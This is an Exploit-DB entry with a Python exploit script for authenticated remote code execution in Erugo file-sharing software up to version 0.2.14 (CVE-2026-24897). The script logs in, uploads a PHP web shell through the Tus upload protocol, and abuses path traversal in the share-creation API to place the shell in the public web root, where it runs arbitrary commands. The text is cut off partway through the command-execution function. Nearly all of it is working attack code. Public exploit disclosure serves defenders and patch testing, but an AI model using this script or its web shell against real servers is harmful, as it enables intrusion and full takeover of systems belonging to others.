Exploit-DB #52529
Description: Erugo  0.2.14 - Remote Code Execution (RCE)
Type: webapps
Platform: multiple
Date: 2026-04-30
Author: abdulmoiz

Exploit:
# Exploit Title: Erugo <= 0.2.14 - Authenticated Remote Code Execution (RCE)
# Date: 2026-02-02
# Exploit Author: Abdul Moiz
# Vendor Homepage: https://github.com/ErugoOSS/Erugo
# Software Link: https://hub.docker.com/layers/wardy784/erugo/0.2.14/images/sha256-d3da70b337212a6c774b[PII_REDACTED]274edc2ac40536fcc0f1706cbbc4ed4fbf
# Version: <= 0.2.14
# Tested on: Linux (Docker)
# CVE: CVE-2026-24897

import requests
import json
import sys
import time
import base64
import argparse
import random
import string
import warnings
from datetime import datetime, timedelta, timezone

# Disable SSL & Deprecation Warnings for clean output
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
warnings.filterwarnings("ignore", category=DeprecationWarning) 

class ErugoExploit:
    def __init__(self, target, username, password):
        self.target = target.rstrip("/")
        self.username = username
        self.[CREDENTIAL_REDACTED]
        self.session = requests.Session()
        
        # Standard Headers
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (Exploit-DB)",
            "Accept": "application/json",
            "Tus-Resumable": "1.0.0"
        })

        # Generate a random 8-char filename to prevent collisions
        rand_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
        self.shell_name = f"{rand_str}.php"
        self.shell_content = '<?php system($_GET["cmd"]); ?>'

    def get_csrf(self):
        """Initialize session cookies"""
        print("[*] Initializing session...")
        try:
            self.session.get(f"{self.target}/login", verify=False, timeout=10)
        except Exception as e:
            print(f"[-] Connection failed: {e}")
            sys.exit(1)

    def login(self):
        print(f"[*] Authenticating as {self.username}...")
        url = f"{self.target}/api/auth/login"
        data = {"email": self.username, "password": self.password}
        
        try:
            r = self.session.post(url, json=data, verify=False, timeout=10)
            if r.status_code == 200:
                token = r.json().get("data", {}).get("access_token")
                if token:
                    self.session.headers.update({"Authorization": f"Bearer {token}"})
                    print("[+] Login Successful.")
                    return True
        except Exception as e:
            pass
            
        print("[-] Login Failed. Check credentials.")
        sys.exit(1)

    def upload_payload(self):
        print(f"[*] Uploading {self.shell_name} via Tus Protocol...")
        
        # 1. Tus Creation (POST)
        post_url = f"{self.target}/files/"
        
        # Base64 Encode metadata
        filename_b64 = base64.b64encode(self.shell_name.encode()).decode()
        filetype_b64 = base64.b64encode(b"application/x-php").decode()
        
        headers = {
            "Upload-Length": str(len(self.shell_content)),
            "Upload-Metadata": f"filename {filename_b64},filetype {filetype_b64}"
        }
        
        try:
            r = self.session.post(post_url, headers=headers, verify=False, timeout=10)
            if r.status_code != 201:
                print(f"[-] Tus creation failed. Status: {r.status_code}")
                sys.exit(1)
                
            location = r.headers.get("Location")
            file_id = location.split("/")[-1]
            
            # 2. Tus Data Transfer (PATCH)
            patch_headers = {
                "Content-Type": "application/offset+octet-stream",
                "Upload-Offset": "0"
            }
            
            r = self.session.patch(location, headers=patch_headers, data=self.shell_content, verify=False, timeout=10)
            
            if r.status_code == 204:
                print(f"[+] Payload uploaded. ID: {file_id}")
                return file_id
            else:
                print(f"[-] Data upload failed. Status: {r.status_code}")
                sys.exit(1)
                
        except Exception as e:
            print(f"[-] Upload error: {e}")
            sys.exit(1)

    def trigger_path_traversal(self, file_id):
        print("[*] Creating malicious share...")
        url = f"{self.target}/api/uploads/create-share-from-uploads"
        
        # Fix Date Warning: Use timezone-aware UTC
        tomorrow = datetime.now(timezone.utc) + timedelta(days=1)
        expiry = tomorrow.strftime("%Y-%m-%dT%H:%M:%S.000Z")

        payload = {
            "upload_id": "exploit", 
            "name": "exploit_share",
            "recipients": [],
            "uploadIds": [file_id],
            "filePaths": {
                 # VULNERABILITY: Path Traversal
                 file_id: f"../../../../../public/{self.shell_name}"
            },
            "expiry_date": expiry,
            "password": "", 
            "password_confirm": ""
        }
        
        try:
            r = self.session.post(url, json=payload, verify=False, timeout=10)
            if r.status_code not in [200, 201]:
                print(f"[-] Share creation failed. Status: {r.status_code}")
                print(f"    Response: {r.text}")
                sys.exit(1)
            print("[+] Malicious share created.")
        except Exception as e:
            print(f"[-] Error creating share: {e}")
            sys.exit(1)

    def execute_command(self, cmd):
        shell_url = f"{self.target}/{self.shell_name}"
        print(f"[*] Executing command: '{cmd}' at {shell_url}")
        
        time.sleep(1) # Wait for filesystem sync
        
        try:
            r = self.session.get(shell_url, params={"cmd": cmd}, verify=False, timeout=10)
            
            if r.status_code == 200:
                print("\